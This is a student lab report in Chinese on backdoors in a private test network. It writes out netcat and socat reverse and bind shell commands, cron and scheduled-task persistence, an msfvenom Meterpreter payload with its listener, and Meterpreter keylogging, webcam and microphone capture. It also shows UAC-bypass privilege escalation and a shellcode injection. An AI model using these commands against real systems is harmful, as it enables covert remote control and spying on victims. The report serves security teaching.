2019-2020-2 20175327 《网络对抗技术》Exp2 后门原理与实践
一、后门的概念 |
后门就是不经过正常认证流程而访问系统的通道。
哪里有后门呢?
- 编译器留后门
- 作系统留后门
- 最常见的当然还是应用程序中留后门
- 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
二、常用后门工具 |
2.1 NC 或 netcat
2.1.1 Win获得Linux Shell
Windows获得Linux Shell
-
在Windows下使用ipconfig查看本机IP
-
使用ncat.exe程序打开监听ncat.exe -l -p 5327
-
在kali中反弹连接Windows,ncat 192.168.84.129 5327 -e /bin.sh,使用-e选项执行shell程序
2.1.2Linux获得Windows Shell
-
在kali中使用ip addr show 查看IP
-
打开监听nc -l -p 5327
-
在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.84.128 5327
-
kali成功获得Windows的命令提示
2.1.3 Mac获取Win shell
2.1.4 Win获取Mac Shell
2.1.5 Mac获取Linux Shell
2.1.6 Linux获取Mac Shell
2.1.7 Netcat扩展知识
使用nc传输数据
- Windows下监听5327端口,ncat.exe -l 5327
- kali反弹连接到Windows的5327端口,nc 192.168.84.129 5327
- 连接建立成功,双方可以相互传输数据
使用nc传输文件(将文件从kali传给Windows)
- Windows下监听5327端口,并把收到的数据保存到file.out中,ncat.exe -l 5327 > file.out
- kali 反弹连接到Windows的5327端口,nc 192.168.84.129 5327 < file.in
- 连接建立成功,Windows可以收到kali发来的文件。
2.2 Meterpreter
- 后门就是一个程序。
- 传统的理解是:有人编写一个后门程序,大家拿来用。
- 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
- 基本功能(基本的连接、执行指令),
- 扩展功能(如搜集用户信息、安装服务等功能),
- 编码模式,
- 运行平台,
- 以及运行参数
- 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
- 典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
- 参数说明
- -p 使用的payload,payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
- -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
- -e 使用的编码器,用于对shellcode变形,为了免杀。
- -i 编码器的迭代次数。如上即使用该编码器编码5次。
- -b badchar是payload中需要去除的字符。
- LHOST 是反弹回连的IP
- LPORT 是回连的端口
- -f 生成文件的类型
- 输出到哪个文件
三、实验内容 |
1.使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。
-
crontab -e指令增加一条定时任务,-e表示编辑。因为是第一次编辑,故提示选择编辑器,这里选择的是2
-
最后一行添加35 * * * * /bin/netcat 192.168.84.129 5327 -e /bin/sh,意思是在每个小时的第35分钟反向连接Windows主机的5327端口。
-
时间到达35分的时候,如下图所示(如果使用ls命令出现问题,可以使用比较简单的whoami命令,也能验证)
2.使用socat获取主机操作Shell, 任务计划启动
关于socat:
-
socat是ncat的增强版,它使用的格式是socat [options]
,其中两个address是必选项,而options是可选项。 -
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
-
右击此电脑,点击管理
-
点击任务计划程序,再点击创建任务
-
填写任务名,新建一个触发器,选择定时启动(当然设置其他的也行,都可以用,例如锁定计算机时)
-
点击操作,在程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5327 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5327,同时把cmd.exe的stderr重定向到stdout上:
-
创建好后任务准备就绪
-
到达17.22后,再次打开时,可以发现之前创建的任务已经开始运行。(记住,弹出的cmd窗口别关闭)
-
此时,在kali中输入输入指令socat -tcp:192.168.84.129:5327,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5327端口,此时可以发现已经成功获得了一个cmd shell
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.84.128 LPORT=5327 -f exe > 20175327_backdoor.exe,这里的IP地址为控制端IP,即KaliIP(使用ifconfig查看),可见已经生成了后门程序“20175327_backdoor.exe”(此部分命令运行出现问题详见:实验中遇到的问题第二个。)
-
在Windows下执行ncat.exe -l 5327 > 20175327_backdoor.exe,这样被控主机就进入了接收文件模式,也可以使用ncat.exe -lv 5327 > 20175327_backdoor.exe指令,通过-lv选项看到当前的连接状态,在kali中执行nc 192.168.84.129 5327 < 20175327_backdoor.exe(这里的IP为被控主机IP,即WindowsIP)下面这个图是文件传输成功的截图
-
传送接收文件成功,如下图所示
-
在kali上使用msfconsole指令进入msf控制台
-
输入use exploit/multi/handler使用监听模块,设置payload
-
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
-
set LHOST 192.168.84.128,这里用的是KaliIP,和生成后门程序时指定的IP相同
-
set LPORT 5327,同样要使用相同的端口
-
进入msf控制台后的界面
-
输入指令后的界面
-
设置完成之后,执行监听,并运行Windows下的后门程序,此时kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
使用record_mic指令可以截获一段音频(可以使用-d选项设置录制时间)
-
使用webcam_snap指令可以使用摄像头进行拍照(因为没有装摄像头所以没有显示,但操作基本了解,望老师见谅)
-
使用keyscan_start指令记录下击键的过程,使用keyscan_dump指令读取击键记录。(使用keyscan_start后就要输入,不然读取不到数据)请查看实验中遇到的问题
-
使用screenshot指令可以进行截屏:
5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 具体步骤如下:
-
在shellcode网站,上面生成的的shellcode都是经过测试过可用的。在网站里找一个linux/x86平台的,用于反弹连接的shellcode,下载。
-
复制出里面的机器码,其中的端口号和主机号也可以修改(但本次实验过程中没有修改)
-
通过实验一的学习,我们可以很轻松的找到shellcode的起始地址(切记要关闭地址随机化),我的起始地址是0xffffd550。把他加在这段shellcode前面,用其生成input_2文件。
-
然后在另一个终端总打开msfconsole,并打开监听(因为我使用的IP地址是127.0.0.1,为回送地址)
-
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444 //这两个都是根据shellcode的指定内容来选择的。
show options
exploit
- 在原来的终端输入命令(cat input_2;cat) | ./20175327pwn1(运行pwn1文件),然后再按一次回车,在另一个终端就可以得到shell开始运行了
四、回答老师问题 |
1.基础问题回答
- (1)例举你能想到的一个后门进入到你系统中的可能方式?
- 在某些第三方网站中下载旧版本的某些应用程序,这些程序有可能会绑定某些可执行文件,留下后门。
- (2)例举你知道的后门如何启动起来(win及linux)的方式?
- Windows:设置开机启动、用户执行带后门的执行文件以及本次实验中使用的任务计划程序等等。
- Linux:本次实验中使用的Crontab和注入shellcode。
- (3)Meterpreter有哪些给你映像深刻的功能?
- 通过后门控制被控主机的shell,本次实验中的调用麦克风、摄像头、键盘、读取屏幕。
- (4)如何发现自己有系统有没有被安装后门?
- 使用安全软件,定时检测系统有无异常
- 使用任务管理器等系统软件查看是否有后台异常程序
* 查看(本次实验中用到的)任务计划程序等等。
2.实验总结与体会
了解了后门的基本原理,但还不够深入,相信在以后的学习中能够更进一步
五、实验中的问题 |
1.提权失败
-
把后门文件放在win7系统里的时候,kali中的提权操作失败
-
使用background命令之后会自动退出到msf的命令行下,先在msf命令行下输入search bypassuac,再输入use exploit/windows/local/bypassuac,然后再输入set session (填写内容为你使用background查看到的session数值),最后输入run,当运行结果大致为图文所示内容时,在meterpreter中的getsystem操作便会成功了。
2.没有安装bundler
-
不能加载文件
-
下载bundler
再试就可以了